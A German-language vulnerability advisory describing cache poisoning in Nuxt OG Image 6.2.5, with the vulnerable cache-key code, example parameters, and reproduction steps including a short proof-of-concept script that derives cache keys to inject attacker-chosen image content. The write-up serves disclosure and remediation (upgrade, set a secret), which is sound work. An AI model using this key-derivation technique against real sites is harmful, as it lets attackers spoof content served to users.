Cache-Poisoning in Nuxt OG Image durch ableitbare Cache-Schlüssel auf ungesicherten dynamischen Bildrouten

Hersteller: Nuxt Produkt: Nuxt OG Image Version: 6.2.5 Beschreibung: Aufgrund von Besonderheiten beim Caching und der Schlüsselgenerierung im vom Modul erstellten Open Graph-Bildcache kann ein nicht authentifizierter Angreifer den Inhalt des an den Benutzer ausgelieferten Bildes (beispielsweise den Parameter title) manipulieren. Auswirkung: Content Spoofing Verwundbare Komponente: Route /_og/d/*.png Bedingungen für die Ausnutzung: Zugriff auf die Anwendung Abhilfe: Aktualisieren Sie auf 6.7.2 und setzen Sie ein ausreichend sicheres secret in der Konfiguration ogImage Forscher: Dmitry Vanin (Positive Technologies)

Untersuchung

Während der vorherigen Schwachstellenuntersuchung,) wurde festgestellt, dass Version 6.2.5 den Mechanismus zur Erstellung von Cache-Indizes geändert hat; dieser berücksichtigt nun die während der Bildgenerierung übergebenen Parameter.

Dennoch wird das Bild weiterhin aus Daten generiert, die an den Angreifer übermittelt werden.

Listing 1. Neuer Code zur Generierung von Indizes im Cache

export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) {
  const siteConfig = getSiteConfig(e, {
    resolveRefs: true,
  })
  const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path)))
  const hashParts: any[] = [
    basePath,
    import.meta.prerender ? '' : siteConfig.url,
  ]
  // Hash resolved options (not raw query string) so unknown/extra query params
  // cannot produce unique cache keys and bypass the cache.
  if (resolvedOptions)
    hashParts.push(hash(resolvedOptions))
  return [
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':')
}

In diesem Fall wird basePath aus dem Parameter _path bezogen, resolvedOptions sind die normalisierten Einstellungen der Komponente, zum Beispiel:

Listing 2. Ein Beispiel für resolvedOptions

{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"}

Aus der Analyse von resolvedOptions wurde geschlossen, dass im Allgemeinen alle Parameter entweder über den direkten Link zum OG Image oder aus der Serverantwort bekannt sind.

Reproduktion der Schwachstelle

1. Route zum OG Image ermitteln. Abbildung 1. Nachweis des Auffindens der Route zum OG Image (width: 974, height: 361)

2. Parameter aus der Serverantwort abrufen, insbesondere cacheMaxAgeSeconds (cache-control-Header, s-maxage-Schlüssel); die übrigen Parameter sind sowohl aus den Meta-Tags als auch aus dem Parameter c_<component name> bekannt. Abbildung 2. Abrufen der Parameter (width: 974, height: 245)

3. Cache-Schlüssel mittels eines Skripts generieren. Listing 3. Skript

import {hash} from "ohash";

var url = "https://contoso.com"

var obj = JSON.parse(`{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"}`)

var basePath = '/'

var hashParts = [
    basePath,
    url
  ]
  
if (obj)
	hashParts.push(hash(obj))

console.log([
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':'))

4. Die Schritte wie in der Schwachstelle 1,) wiederholen, jedoch zusätzlich das ermittelte cacheKey übermitteln.

5. Somit wurde dasselbe Ergebnis wie in der Schwachstelle 1) erzielt. Abbildung 4. Serverantwort (width: 974, height: 729)

Danksagung

Forscher: Dmitry Vanin (Positive Technologies)